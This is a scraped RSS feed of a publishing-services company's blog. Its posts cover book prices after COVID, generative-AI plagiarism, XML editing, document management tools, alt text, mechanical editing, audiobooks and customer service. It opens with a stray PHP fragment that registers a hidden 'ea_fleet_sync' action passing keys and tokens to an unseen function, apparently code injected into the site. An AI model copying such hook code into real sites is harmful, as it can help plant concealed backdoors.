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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); https://www.pps-ace.com Thu, 25 Jul 2024 15:08:50 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.7 https://www.pps-ace.com/wp-content/uploads/2014/08/cropped-pps-favicon-32x32.jpg https://www.pps-ace.com 32 32 Book Prices Continue to Increase After COVID https://www.pps-ace.com/book-prices-continual-increase/ https://www.pps-ace.com/book-prices-continual-increase/?noamp=mobile#respond Thu, 25 Jul 2024 14:59:53 +0000 https://www.pps-ace.com/?p=4927 The COVID-19 pandemic affected the world in every aspect: health, supply-chain demands, and inflation. We’ve seen costs rise on just about everything. But why books?

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]]> By Shaina Lucas, PPS Editor

The COVID-19 pandemic affected the world in every aspect: health, supply-chain demands, and inflation. We’ve seen costs rise on just about everything. But why books? Wouldn’t supply and demand keep the costs of books down since we are in a digital age with more books than anyone could ever read in their lifetime? One would think that would be the case, but the rising costs go well beyond just the book itself. We’ll be taking a deep dive into the world of publishing to find out just what exactly is driving the prices of our favorite reads.

What Factors Are Causing It?

While the average cost per book for printing has gone down, other factors have increased the final purchase price. During COVID, the world ran into a supply-chain shortage as many goods were not being made due to closed factories or a skeleton crew. Shipping also came to a near-halt, which meant goods were not able to go overseas to their various destinations. One supply affected greatly was paper. The significant paper shortage led to print delays. This caused an issue with printing costs going up to cover this and in turn caused publishers and independent authors to increase their book prices to allocate for royalties and licensing fees.

Licensing fees play a major factor in costs. There are rights that need to be purchased to create book covers, editors and formatters to pay for their services, and various marketing costs like ads and social media boosting. Authors and publishers also need to pay for the rights to use any licensed content in the book itself, such as art, song lyrics, or excerpts, as not all available content falls under the “credit given” copyright guidelines.

In 2021, Ingram Spark, a book publishing company, announced that print books increased 10% to 12% in 2021 as many paper factories converted to cardboard factories for online retailing, and shipping costs increased 50% to 70%. This in turn is what caused paper prices to increase, forcing publishers to drastically raise the cost of a book to the consumer.

Are Some Genres More Affected Than Others?

Certainly! Most fiction genres like romance and young adult have seen around a $2 to $4 increase in USD since 2022. Textbooks continue to fluctuate due to the costs of college tuition and market needs. In the United Kingdom alone, paperback books prices rose 84 pence from £9.54 in 2019 to £10.38 in 2022, and now prices are expected to continue to rise to around £12 in 2024. Revenue greatly increased in 2020 and 2021 during the height of the pandemic but then dropped around 9% in 2022 since people were getting back to work and the world started business-as-usual again. Prices of the same book can also vary across countries! A book in the United Kingdom can be purchased for £7.99 (about $9.75 USD), but the same book is being sold in the United States for $17.99!

Does This Include E-Book Pricing?

As of now, not so much. There has been an increase since editors and proofreaders have been raising their costs but not significantly enough to affect e-book costs. However, due to the recent changes Amazon has rolled out regarding their Kindle Unlimited subscription pricing versus author royalties, creating a separate issue in regard to e-book production.

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]]> https://www.pps-ace.com/book-prices-continual-increase/feed/ 0 Plagiarism in the World of Generative AI https://www.pps-ace.com/plagiarism-in-the-world-of-generative-ai/ https://www.pps-ace.com/plagiarism-in-the-world-of-generative-ai/?noamp=mobile#respond Wed, 01 May 2024 18:50:09 +0000 https://www.pps-ace.com/?p=4923 Generative artificial intelligence (AI) has become incredibly popular in 2023 through TikTok trends that turn selfies into portraits from other centuries and different fantasies to Snapchat’s My AI chatbot. This new technology has greatly affected all aspects of the creative industry. Let’s discuss how generative AI affects the publishing industry.

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]]> By Rachel Guise, PPS Editor

Generative artificial intelligence (AI) has become incredibly popular in 2023 through TikTok trends that turn selfies into portraits from other centuries and different fantasies to Snapchat’s My AI chatbot. This new technology has greatly affected all aspects of the creative industry. Let’s discuss how generative AI affects the publishing industry.

First, a definition of generative AI: According to IBM Research, “Generative AI refers to deep-learning models that can generate high-quality text, images, and other content based on the data they were trained on.” So it begs the question, if content is being created from the information provided, wouldn’t this classify as plagiarism?

The short answer is yes. According to an article by The Guardian, plagiarism is harder to detect when written by AI because interfaces such as ChatGPT are writing at higher levels. The article describes a situation in which an academic paper, written by ChatGPT, went undetected during a peer review as the reviewers assumed it was written by the scholars who posed the original experiment.

Furthermore, the Authors Guild proposed a class action lawsuit against one of the top generative AI companies, Open AI. Authors were curious about how well ChatGPT would be able to describe one of their characters based off a snippet of their book. They were surprised—and displeased—to find out the chatbot was able to write very detailed information, more so than they thought would be possible from the information they provided. Upon further research, they discovered that their existing books had been poured into the platform as content to be used for generative AI writing without their knowledge, consent, or approval.

So as a user of generative AI, how can you sift through the generated content to determine if it was essentially copy and pasted from another source?

How to Identify

Copyleaks is one of the top resources to identify plagiarism with both an AI Content Detector and Plagiarism Detector available for use. According to their website, the AI Content Detector is “[t]he only enterprise solution that keeps you informed about what content was written by a human or generated by AI, including GPT-4 and Bard.” Their Plagiarism Detector promises to “identify potential plagiarism, detect AI-generated content, and more.”

As an author, there are searchable databases available to see if your content has been used for generative AI, as noted by Owlcation.

How to Prevent

The most obvious solution would be to avoid using any type of generative AI software when writing. But if you need a little help, it would be beneficial to make use of tools such as Copyleaks to help identify any potentially plagiarized material you use from a generative AI platform.

If you happen to be affected by AI and notice your work was illegally being used, one solution is to send a letter to AI companies alerting them your work is being used without your consent, which breaks copyright laws. This will aid in taking your work out of their databases.

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]]> https://www.pps-ace.com/plagiarism-in-the-world-of-generative-ai/feed/ 0 Happy Holidays from PPS! https://www.pps-ace.com/happy-holidays-from-pps/ https://www.pps-ace.com/happy-holidays-from-pps/?noamp=mobile#respond Wed, 20 Dec 2023 16:08:39 +0000 https://www.pps-ace.com/?p=4919 Happy Holidays to all of our clients. It has been a privilege to work with you in 2023!

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]]> https://www.pps-ace.com/happy-holidays-from-pps/feed/ 0 The XYZs of XML Editing https://www.pps-ace.com/the-xyzs-of-xml-editing/ https://www.pps-ace.com/the-xyzs-of-xml-editing/?noamp=mobile#respond Tue, 17 Oct 2023 17:39:33 +0000 https://www.pps-ace.com/?p=4915 By Rachel Guise, PPS Editor XML is a language very similar to HTML used to create and format a document. The key difference is that XML is human language as opposed to HTML’s computer language. Take a look at PPS’s earlier blog for a more in-depth explanation of XML. To some, XML may be intimidating […]

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]]> By Rachel Guise, PPS Editor

XML is a language very similar to HTML used to create and format a document. The key difference is that XML is human language as opposed to HTML’s computer language. Take a look at PPS’s earlier blog for a more in-depth explanation of XML. To some, XML may be intimidating as it appears that it can’t be easily created or edited, but that’s not the case. Once you’re familiar with the basics of XML, editing is as smooth as working in a Word document.

A screenshot showing text tags in XML

Editing: It’s not that different!

A key piece of information regarding XML editing is knowing that all text requires an opening tag and a closing tag. These tags signal the computer software that this element has a specific design. Here are some examples:

<title>This Is the Title of My Book</title>

<author>My Name</author>

<para>The book titled <italic>Book Title</italic>is about this person’s life.</para>

Each tag is placed within carrots and each closing tag begins with a forward slash. Many XML software programs have a notification setting to alert the writer when and where a tag is missing or incorrect.

After understanding the different tags, the content can be created or edited just like any other file. The use of bold, italics, colors, and many more elements are made possible with the use of these tags.

Benefits of XML Software

Appuals lists five free editors you can use to create or edit an XML document. They include tips and screenshots that you may find useful.

Many software programs offer a split view to make creating and editing even easier. In one half you’ll see the XML tags. The other half will show your content without tags and usually formatted per the tag design specifications. There are some software programs, like Arbortext, where you have to change the view of your document in order to see your content with and without tags.

The fact that XML is a human language makes it much more user-friendly, even for people who are not tech-savvy. The tags are usually self-explanatory and easy to decipher, and they can be changed to reflect the type of document you’re writing or for your intended user audience.

Reading XML Without an XML Viewer

Viewing an XML file in an Internet browser is just as easy as viewing any other document. For example, open a new tab in Chrome and drag the file in to open it. You could also right click on the XML file and use the “Open with” option to select your preferred browser.

If you don’t want to use a browser to view the XML data, you can use a text editor like Notepad. Open the text editor program, select the “Open” option from the menu, and select your file. Note that any edits made in a text editor will not be transferred into the final XML file.

XML and Excel

XML data is often converted to other formats for easier use. One way of doing this is creating Excel spreadsheets from the data to better organize and analyze the data. This step also makes ingesting the data into other programs easier and more manageable.

Why XML?

XML creates a simplified publishing process by making it easier to ingest content into multiple formats—some of the most popular choices being PDFs and ePUBs. It’s also easier to reuse designs and layouts in other programs like InDesign. Once you’ve decided to create XML and have your software program selected and mastered, the creation, editing, and publication is easy!

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]]> https://www.pps-ace.com/the-xyzs-of-xml-editing/feed/ 0 Migration to Online Collaboration Editing https://www.pps-ace.com/migration-to-online-collaboration-editing/ https://www.pps-ace.com/migration-to-online-collaboration-editing/?noamp=mobile#respond Fri, 01 Sep 2023 20:49:33 +0000 https://www.pps-ace.com/?p=4894 By Rachel Guise and Shaina Lucas, PPS Editors −  It comes up in a meeting that you and your colleagues need to create a document together. Or say you’re in college and you have a group paper to work on regarding a subject you’re all familiar with. If you’re in the publishing world, how do […]

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]]>

By Rachel Guise and Shaina Lucas, PPS Editors −  It comes up in a meeting that you and your colleagues need to create a document together. Or say you’re in college and you have a group paper to work on regarding a subject you’re all familiar with. If you’re in the publishing world, how do you get the correct document with the correct version to the project manager, editor, proofreader, and compositor?

Image by pikisuperstar on Freepik

A long time ago (longer now than it seems), everything was done by hardcopy, either by handwriting or on a typewriter. This made things a bit difficult to keep track of changes or make the changes easily. With the advancement of technology, we now have a variety of software and tools at our disposal to keep the same document up-to-date no matter who has it or where in the world it goes to. We’ll be taking a look at some of the top document management systems (DMS) currently on the market.

What Does The DMS Do?

This link (aiim.org) defines DMS as “the use of a computer system and software to store, manage and track electronic documents and electronic images of paper-based information captured through the use of a document scanner.” Think of these services as your electronic assistant manager.

Costs

There are a variety of free DMS services, including OpenDocMan, OpenKM, Confluence, and Hightail. OneDrive is included in your Microsoft subscription, and Google Docs is also very popular and free with your account. However, free services are usually limited. As Cloudwards points out, the bigger your company, the bigger your needs. But if you’re an individual or small group, a free DMS service may be just right for you.

Capterra has a great resource to compare several DMS platforms, including listing products, starting price, and frequency. Capterra also lists if there is a free version/trial. It even includes any 5-star ratings. Costs can start as low as $2 a month and stretch as high as a one-time $20,000 payment.

Ease of Use

The ease of use is correlated with which DMS software you install. The more features you need, the more you will need to learn and teach to your employees or colleagues.

Available Tools/Features

DMS software offers different tools depending on your needs. Axero lists seven features you should look for: cloud access, intelligent organization, an attractive user interface, a robust search feature, version control, permissions, and universal format support.

Benefits

One of the main benefits of DMS is that it makes it easy to maintain and organize documents and sharing. Sometimes all you need to do is copy and paste a link into an email. This saves employees and clients time from searching servers and folders for documents.

Another benefit is how easy it is to collaborate with others. Group projects, presentations, and even processes like interviews are made simpler with this efficient means of sharing documents. This is especially useful for a group of authors working together on a book. For example, if you have authors working in different time zones, having one location for materials helps maintain schedules and meet deadlines.

Publishing also benefits from DMS for file sharing. A style guide or design can be easily updated and accessible to multiple users to ensure consistency during manuscript creation and page review. This is a bonus for those books and documents with many contributing authors.

Drawbacks

Depending on the DMS you choose, the cost can be a drawback. The more properties you need or the larger the company you run, the more complex a DMS service is going to be needed. More features = higher cost. Along with the size of DMS you need comes the time it takes to set up and maintain, pointed out by PMWorld 360 Magazine. Scanning and uploading large documents can take a big chunk of time to do and making sure your software is up to date can add to the management time. Different systems are constantly changing and adding new features, so be wary of cross-organizational differences. One such example is the new implementation of text management in DropBox. DropBox now allows the user to change documents directly in their cloud, when before it was just a file sharing system. Make sure all users that need to access your documents have the ability to not only access them, but see any changes being made.

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]]> https://www.pps-ace.com/migration-to-online-collaboration-editing/feed/ 0 Automated Alt Text: Can a Computer Comprehend What Humans Can? https://www.pps-ace.com/automated-alt-text-can-a-computer-comprehend-what-humans-can/ https://www.pps-ace.com/automated-alt-text-can-a-computer-comprehend-what-humans-can/?noamp=mobile#respond Mon, 01 May 2023 16:32:14 +0000 https://www.pps-ace.com/?p=4884 By Rachel Guise, PPS Editor  −   If you’re not sure what alternative (alt) text is, or simply need a refresher, take a look at our blog titled Alt-Textually Speaking: What Is Alt Text and Why Do We Need It? for a quick crash course on this publishing term. We also have a blog on the […]

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]]> By Rachel Guise, PPS Editor  −   If you’re not sure what alternative (alt) text is, or simply need a refresher, take a look at our blog titled Alt-Textually Speaking: What Is Alt Text and Why Do We Need It? for a quick crash course on this publishing term. We also have a blog on the possibility of technology replacing an editor. But how do these two go hand-in-hand? Well, these go hand-in-hand mostly due to the fact publishing has never been easier than it is today, especially if you want to self-publish or be as hands-on as possible during the process. One of the most important parts of the publishing industry right now is making sure your content is fully accessible.

Image by xb100 on Freepik

As noted in our most recent blog on computer-assisted editing vs. human editing, there is no doubt that software programs or artificial intelligence (AI) can greatly reduce the time spent editing content. This is also true when it comes to creating content, such as alt-text for photos or art used in your publication.

Let’s look at an example.

Image 3938187 on Freepik
Upon inserting this photo into Microsoft Word or PowerPoint, the user is notified that the following alt-text was automatically generated: A picture containing person, person, indoor, table.      

Does this computer-generated alt-text describe the photo accurately? Right off the bat, the word person is listed twice. That’s your first red flag. But the generated alt-text doesn’t convey the general emotion of the photograph. Acknowledging that, a lot could be implied here. Is he frustrated? Does he have a headache? Is he tired? Simply noting that the picture contains a person just isn’t enough. The word picture also doesn’t lend to the overall image. Is this a cave drawing? Is this a painting from the 1500s? Is it a sepia-toned photograph?

So many questions, so little alt-text.

This is just one example of how AI simply can’t interpret all aspects of a piece of art that is being used to enhance a publication. Sure, sometimes art is inserted just to take up space, but sometimes it’s crucial to the content being provided. And as we can see, there is a big difference in what a computer is going to describe to the reader!

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]]> https://www.pps-ace.com/automated-alt-text-can-a-computer-comprehend-what-humans-can/feed/ 0 Mechanical Editing: Does It Stand Up to a Real Person? https://www.pps-ace.com/4871-2/ https://www.pps-ace.com/4871-2/?noamp=mobile#respond Wed, 05 Apr 2023 17:39:01 +0000 https://www.pps-ace.com/?p=4871 by Rachel Guise, PPS Editor – Have you read our blog on the possibility of technology replacing an editor? It’s never been easier to have assistance in terms of writing and editing, but not all aspects of the editing process can replace a human. A mechanical edit, like for instructions on projects with gears or […]

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]]> by Rachel Guise, PPS Editor –

Have you read our blog on the possibility of technology replacing an editor? It’s never been easier to have assistance in terms of writing and editing, but not all aspects of the editing process can replace a human.

Robot and man sitting together each with a computer.
Credit: Freepik pch.vector

A mechanical edit, like for instructions on projects with gears or buttons? Yes and no. (It would be helpful for a How-To book!) Archway Publishing defines mechanical editing as “the application of a particular style” where the editor corrects “punctuation, capitalization, spelling, abbreviations, and any other style rules.” This editing style is great for publications that use clear-cut rules for edits. An example would be a publication that simply presents facts, such as a scholarly journal, that uses Associated Press (AP) style. Using software for a mechanical edit would certainly cut down on editing extensive references lists! But would this type of editing software be beneficial throughout the literary field?

When it comes to the nuances of human language, editing software simply “does not compute” like many robots and other forms of artificial intelligence (AI) say in science fiction pop culture. Think of all the novels and memoirs out there; do they read like they’ve been through a mechanical edit? Or do they read like you’re listening to a friend? Read these examples:

I don’t have time for this. I need to get out of here.

I ain’t got time for this. I gotta get out of here.

A mechanical edit would take the second example and edit to match the first example, following more concrete grammar and spelling rules. (Although not all mechanical editing is foolproof.) But what does the second example tell you? Where are they from? What time period are we in? What are they feeling? The possibilities are endless when it comes to describing body language, conversations between characters, personality traits, and even language translations.

And what if something doesn’t make sense? It’s not guaranteed that a mechanical editor is going to ask for clarification or just assume something and edit accordingly. Could there be a better way to phrase something? Can a software program make suggestions? A human editor can pull from personal experiences to offer alternative ideas or ask questions.

As with all things modern, there are pros and cons to a mechanical edit. But when it comes down to the subtle distinctions of human language, let us not forget that AI should help humans rather than replace them.

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]]> https://www.pps-ace.com/4871-2/feed/ 0 Book Down, Headphones On: Audiobooks Are a Hot Trend https://www.pps-ace.com/book-down-headphones-on-audiobooks-are-a-hot-trend/ https://www.pps-ace.com/book-down-headphones-on-audiobooks-are-a-hot-trend/?noamp=mobile#respond Thu, 12 May 2022 15:26:17 +0000 https://www.pps-ace.com/?p=4862 Spurred on by the COVID-19 crisis of the last two years, which saw most people “sheltering in place” for extended periods, eBooks and audiobooks saw a spike in popularity. This spike is part of an increasing trend for both mediums as they continue to gain on printed books in terms of sales. According to Josh […]

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]]> Spurred on by the COVID-19 crisis of the last two years, which saw most people “sheltering in place” for extended periods, eBooks and audiobooks saw a spike in popularity. This spike is part of an increasing trend for both mediums as they continue to gain on printed books in terms of sales.

Print book with headphones and power cord.

According to Josh Howarth in his article on the Exploding Topics website, audiobook sales have seen continuous growth since 2012 with revenue up 14.3% each year and will likely continue through the decade.

He also notes that this is a place of untapped revenue for independent authors, and there are websites (such as Amazon’s ACX) that will package the author’s audio file and list it on Amazon, Audible, and Apple iBooks. There are startup costs involved in creating an environment  for recording audio. While most authors already have a PC and headphones, and there are inexpensive (or even free) apps such as Audacity or Garageband that work great for recording vocal tracks, microphones can be expensive, although there are good ones available starting at around $100. Another issue is a decent recording environment that will prevent outside noise and create a dead space to prevent sound from reflecting off surfaces. Author imprints has a good article on how to set up an audiobook recording space. Rob Dircks discusses recording and uploading his files to ACX at length in his blog.

On the ACX website, it notes authors can either submit their own audio file or pay for production costs to have it done. For do-it-yourselfers, royalties are 25% (non-exclusive) or 40% (exclusive). Many authors choose to have professional freelance audiobook narrators do the work to avoid the time and expense of doing it themselves.

Another growing trend in audiobooks is AI narration. According to Kaelyn Barron in her article on AI Narration, NVIDIA’s graphic processing unit (GPU) and latest research has resulted in more natural-sounding speech. Use of this technology in audiobooks could result in less costly production and far more books would be available with narration. Listeners would be able to customize the voice they listen to for an even more user-friendly experience.

So far, the biggest player in audiobooks is Amazon, which has around 200,000 titles on Audible. Jacob Parker in his blog considers it the best, if arguably the most expensive, place to get audiobooks. Other good platforms included Apple iBooks, Google Audiobooks, Kobo Audiobooks, and Librivox. The titles on Librivox are free due to the titles being in the public domain and recorded by volunteers. Another good, and normally free, option is through an app (e.g., Hoopla) connected to a listener’s public library account.

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]]> https://www.pps-ace.com/book-down-headphones-on-audiobooks-are-a-hot-trend/feed/ 0 Top 5 Customer Service Tricks for Your Customers and You https://www.pps-ace.com/top-5-customer-service-tricks-for-your-customers-and-you/ https://www.pps-ace.com/top-5-customer-service-tricks-for-your-customers-and-you/?noamp=mobile#respond Wed, 09 Feb 2022 18:25:25 +0000 https://www.pps-ace.com/?p=4840 By Shaina Lucas, PPS Editor – Now that we’re into the new year, business is picking up. This may be crunch time to add new accounts, follow-up with ones from the year prior, or start new reports and projects, possibly even finishing up some older ones. Sometimes, more work can be hard to handle and […]

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]]> By Shaina Lucas, PPS Editor – Now that we’re into the new year, business is picking up. This may be crunch time to add new accounts, follow-up with ones from the year prior, or start new reports and projects, possibly even finishing up some older ones. Sometimes, more work can be hard to handle and can cause employee burnout. When employees get burned out, that could also affect your customer service. But what do people look for in customer service? And what are the top priorities for businesses when responding to bad customer service feedback? Here are five things that customers look for in good customer service and what you can do to implement a better customer service experience for them.

Image by Icons8 / Unsplash

CUSTOMERS’ FIVE TOP PRIORITIES

When entering or dealing with a business or vendor, customers always check for certain things, and good customer service is one of them. But what do customers focus on the most?

  1. Active Listening: Do you get frustrated when you call a business, only to get an automated service instead of a real human to talk to? Customers feel the same way. People naturally have a need to feel understood and be heard. According to Qualtrics, the best approach for active listening is:
  • Approach listening with a goal to learn something and focus on the speaker, in this case, the customer.
  • Ask any clarifying questions so there is open communication.
  • Finish with a quick summary to make sure all information is understood.
  1. Empathy: A lack of empathy is one of the worst things customers say they experience from a business or customer service representative. According to Zendesk, roughly half of all customers say they would switch to a competitor after only one bad experience with a company. So how can you be empathetic with your customers?
  • The first thing to do is try to see any issues or problems through the customer’s eyes. How would you feel in this situation? How would you want your problem resolved?
  • In doing this, the customer will feel more relaxed and understood. It also helps prevent escalating conflicts, and the customer will, hopefully, become more receptive to your solutions.
  • Always use positive language and a positive tone. Any negativity can be off-putting to a customer.
  1. Know You Products and Services: Have you ever been on the phone, or in a store, and ask questions no one can answer? This can be frustrating in an emergency, such as replacing a special fish in the fish tank before your child gets home and notices the fish is gone. Having a deep and vast knowledge of your products and services will save time and effort once the customer starts asking questions. Customers also love when you give them cool tips and tricks such as features in an app or a different way to use a product that isn’t listed in the instructions!
  1. Take Their Feedback Into Account: Customers enjoy implementation of feedback from a company. After all, without customers there is no business. Feedback from a customer is vital to bettering your business. Create a survey asking specific questions or add a Contact Us button on your webpage. If you see a trend in what customers are saying or asking for, it might be time to implement that feedback to provide better service and eventually gain more customers.
  1. Don’t Keep Them Waiting: In today’s fast-paced world, we can get just about anything with a trip to the store, a phone call, or a few quick taps on a computer or phone. When needing a product or service, customers expect them as quickly as possible, especially if the situation is time sensitive. STELLAService conducted a study a few years ago on the average email response time, which was 17 hours. Today, it’s not much better at 12 hours. What can you do to cut down your response time?
  • Set a time to check emails, or use a notification system to alert you when an email comes in. Sometimes you can’t spend all day checking emails. For time management, create time in your schedule and answer emails during that time.
  • Answer phone calls in a reasonable amount of time. Most people see a reasonable time as a little over one minute. If you are not able to answer the phone right away, try getting back to the customer within the hour.
  • Make social media, calls, and emails easy, reliable, and personalized. Automation tools for emails and social media like MailChimp, Hootsuite, and Buffer, along with having a dedicated social media guru on your staff, can help create easier and quicker access to information for customers, and having their needs met.

BUSINESS’ TOP FIVE PRIORITIES

We’ve listed what customers look for from a business regarding customer service. Here is a review of what a business needs to focus on in order to implement a better customer service experience in their company?

  1. Fix and Own Up to Your Mistakes: Everyone makes mistakes, it’s part of being human. Sometimes there can be miscommunication, missing or damaged packages, or maybe a mess-up in the customer’s file. If something happens, do your best to remedy the situation. What can be done to fix the problem? Be open and honest, and let the customer know what happened and what steps are being taken to fix the problem.
  2. Think About the Long Term: Typically, when providing a service or product to a customer, you want them to keep coming back, right? By keeping customers happy, they remain loyal to your brand. Regardless, a customer will spread the word to their friends and family, but bad news travels much faster than good. Brainstorm with your colleagues on how you can retain customers for the long-term!
  3. Collaborate with Your Team on Customer Needs: This piggybacks off of thinking about the long term and implementing customer feedback. A plethora of things can come from collaboration. If a customer is interested in an upcoming product, the agent or representative who spoke to the customer can send a message to their sales department to let them know of an upcoming sale and to follow up with the customer. What if the person the customer is talking to doesn’t have knowledge of the situation? The employee can then send the customer to the correct department who can help them. Working together creates an overall better customer experience.
  4. Make Meeting Your Customers an Easy Process: When someone has to dig deep or search for something, whether it be an answer on using a product or contacting a company representative, customers become disinterested and frustrated when their goal is taking too much time. Take a moment to consider your audience. Are they all-encompassing? Younger generations? Older generations? More women than men or vice versa? Take the demographic data and find ways that your customers can easily access your content/product/service. For social media, consider adding Snapchat or TikTok. You could also open a virtual chat button on your webpage or set up a text messaging service. Always put as much contact information as you can out there on all platforms so customers can easily see where you are and reach out.
  5. Be Willing to Continue Learning: We saved the best one for last. The biggest key to any successful company is the willingness to learn and continue learning. The world is changing at a fast pace and staying on top of trends helps a company continue to grow and thrive. Perfecting customer service does take time, but constantly learning and using these tips will be a great foundation to set you up for success for many years to come.

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]]> https://www.pps-ace.com/top-5-customer-service-tricks-for-your-customers-and-you/feed/ 0 HAPPY HOLIDAYS! https://www.pps-ace.com/happy-holidays/ https://www.pps-ace.com/happy-holidays/?noamp=mobile#respond Tue, 07 Dec 2021 18:34:39 +0000 https://www.pps-ace.com/?p=4833 We continue to strive to be your go-to provider for all things in the world of publishing. Looking forward to a great 2022 by your side as your team member and trusted partner!

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We continue to strive to be your go-to provider for all things in the world of publishing.

Looking forward to a great 2022 by your side as your team member and trusted partner!

The post HAPPY HOLIDAYS! first appeared on .

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